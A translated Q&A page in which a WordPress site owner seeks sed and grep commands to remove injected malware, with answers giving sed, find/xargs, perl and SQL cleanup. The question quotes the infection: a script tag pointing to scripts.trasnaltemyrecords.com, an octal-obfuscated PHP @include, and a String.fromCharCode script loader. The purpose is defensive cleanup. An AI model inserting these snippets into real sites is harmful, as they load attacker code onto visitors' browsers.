如何使用sed或可能的grep替换整个字符串

所以我的整个服务器都被黑客入侵或出现了恶意软件问题。我的网站基于WordPress,而服务器上托管的大多数网站都是基于WordPress的。黑客将这行代码添加到每个文件和数据库中

<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>

我确实使用grep通过grep搜索了

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

我正在尝试将整个文件结构替换为sed,并编写了以下命令。

sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php

我首先尝试在单个文件index.php上替换字符串,所以我知道它可以工作。

我知道我的代码是错误的。请帮助我。

我尝试使用@Eran的代码,它删除了整行,这是很好的并且符合预期。但是,总的行话就是

/*ee8fa*/

@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";

/*ee8fa*/

在我希望删除所有内容的同时,我希望保留php开头标签<?php

尽管@slybloty的解决方案很简单并且有效。

以便从所有受影响的文件中完全删除代码。我正在运行以下3条命令,谢谢大家。

  1. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"-删除脚本行
  2. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'-删除@include
  3. find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'-删除注释行

此外,我再次为'*.html'运行了所有3条命令,因为黑客的脚本在所有目录中创建了不需要的index.html。我不确定是否批量删除这些index.html是正确的方法。

现在,我仍然需要找出垃圾文件和痕迹。

黑客脚本也添加了JS代码。

var pl = String.fromCharCode(104,116,112,115,58,47,99,114,105,46,97,110,108,101,109,121,111,100,107,106,63,61,38,117,98,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s,document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}

试图查看我是否也可以sed

ioublack 回答:如何使用sed或可能的grep替换整个字符串

对字符串使用双引号("),并且不要转义单引号(')和标签(<>)。仅转义斜杠(/)。

sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g" index.php
,

单引号实际上不带转义符。 在var='hello\''中,您有一个未关闭的报价。

要解决此问题, 1)用双引号引起来的sed命令 OR 2)终止单引号字符串,添加\',然后重新打开引号字符串。

但是,第二种方法更令人困惑。

此外,sed可以使用任何定界符来分隔命令。由于命令中有斜杠,因此使用逗号更容易。例如,使用第一种方法:

sed -i "s,\\<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\\>\\</script\\>,g" index.php

使用第二种方法:

sed -i 's,\<script type='\''text/javascript'\'' src='\''https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'\''\>\</script\>,g' index.php

这个例子比实际更具教育意义。 '\''的工作方式如下:

第一个':当前当前引用的文字字符串结束

\':输入单引号作为文字字符

第二':重新输入带引号的文字字符串

只要那里没有空格,您就可以继续执行sed命令。这个想法是bash独有的。

我将转义的<>留在那儿,因为我不确定自己是用来干什么的。 sed使用\<\>来表示单词匹配。我不确定这是否是故意的。

如果这与任何内容都不匹配,则您可能要避免转义<>

编辑:请参阅@ EranBen-Natan解决方案,以获取针对实际问题的更实际解决方案。我的答案更多是关于为什么OP会被提示使用其原始命令进行更多输入的资源。

编辑解决方案2

为此,我假设您的sed具有非标准选项-zsed的GNU版本应该有这个。我还假设此代码始终以6行长的格式出现

while read -r filename; do
    # .bak optional here if you want to back any files that are edited
    sed -zi.bak 's/var pl = String\.fromCharCode(104,116,112,115[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n[^\n]*\n//g'
done <<< "$(grep -lr 'var pl = String\.fromCharCode(104,115' .)"

工作原理: 我们正在使用fromCharCode行的开头来匹配所有内容。 -z将文件拆分为null而不是换行。这样我们就可以直接搜索换行符。

[^\n]*\n-这将匹配所有内容,直到换行,然后再匹配换行,从而避免了贪婪的正则表达式匹配。因为我们不拆分换行符(-z),所以正则表达式var pl = String\.fromCharCode(104,115' .).*\n}\n匹配最大的匹配项。例如,如果\n}\n出现在文件的更下方,则您将删除该文件和恶意代码之间的所有代码。因此,重复此序列6次将我们匹配到第一行以及接下来的5行的结尾。

grep -lr-只是递归的grep,我们只列出具有匹配模式的文件。这样,sed不会编辑每个文件。没有这个,-i.bak(不是简单的-i)会造成混乱。

,

无论您决定使用sed哪种方法,都可以使用findxargs使用完美的过滤选项在多个文件上同时运行多个进程。例如:

find . -type f -name '*.php' -print0 | xargs -0 -P7 -n1 sed -i '...'

它将:

  • find-查找
  • -type f-仅文件
  • -name '*.txt'-以php结尾
  • -print0-将它们以零字节分开
  • | xargs -0-每个文件用零字节分隔
  • -P7-并发运行7个进程
  • -n1-每个文件
  • sed-对于运行sed的每个文件
  • -i-就地编辑文件
  • '...'-您要从其他答案中运行的sed脚本。

您可能想向-t添加xargs选项以查看进度。参见man find(man args)(http://man7.org/linux/man-pages/man1/xargs.1.html)。

,

您是否安装了wp-mail-smtp插件?我们拥有相同的恶意软件,并且在wp-content/plugins/wp-mail-smtp/src/Debug.php中有些奇怪的事情。

此外,javascript链接位于WordPress数据库中post_content的每个wp_posts字段中。

,

我今天有同样的想法,所有页面帖子都添加了这个讨厌的病毒脚本

<script src='https://scripts.trasnaltemyrecords.com/pixel.js' type='text/javascript'></script>

我通过

从数据库中禁用了它
UPDATE wp_posts SET post_content = REPLACE(post_content,"src='https://scripts.trasnaltemyrecords.com","data-src='https://scripts.trasnaltemyrecords.com")

我至少没有感染文件

grep -r "trasnaltemyrecords" /var/www/html/{*,.*}

没有找到任何东西,但我不知道这是怎么进入数据库的,这一点都不平静。

这种感染导致页面上的重定向,chrome主要检测并阻止了这种情况。在/wp-mail-smtp/src/Debug.php

中没有发现任何奇怪的地方 ,

我今天有同样的事情,所有页面帖子都添加了脚本。 我已经使用https://en.wordpress.org/plugins/search-and-replace/插件成功处理了它们。

此外,我还在wp_posts表的post_content列中找到了一条记录 跟随字符串:

<a href="https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043">https://scripts.trasnaltemyrecords.com/pixel.js?track=r&#038;subid=043</a>

并手动将其删除。

,

对我来说,这是

    find ./ -type f -name '*.js' |  xargs perl -i -0pe "s/var gdjfgjfgj235f = 1; var d=document;var s=d\.createElement\('script'\); s\.type='text\/javascript'; s\.async=true;\nvar pl = String\.fromCharCode\(104,115,58,47,99,114,105,46,97,110,108,101,109,121,111,100,107,106,63,61,38,117,98,48,54,48\); s\.src=pl; \nif \(document\.currentScript\) { \ndocument\.currentScript\.parentNode\.insertBefore\(s,document\.currentScript\);\n} else {\nd\.getElementsByTagName\('head'\)\[0\]\.appendChild\(s\);\n}//"

您必须搜索:* .js,*。json,*。map

本文链接:https://www.f2er.com/3143609.html

大家都在问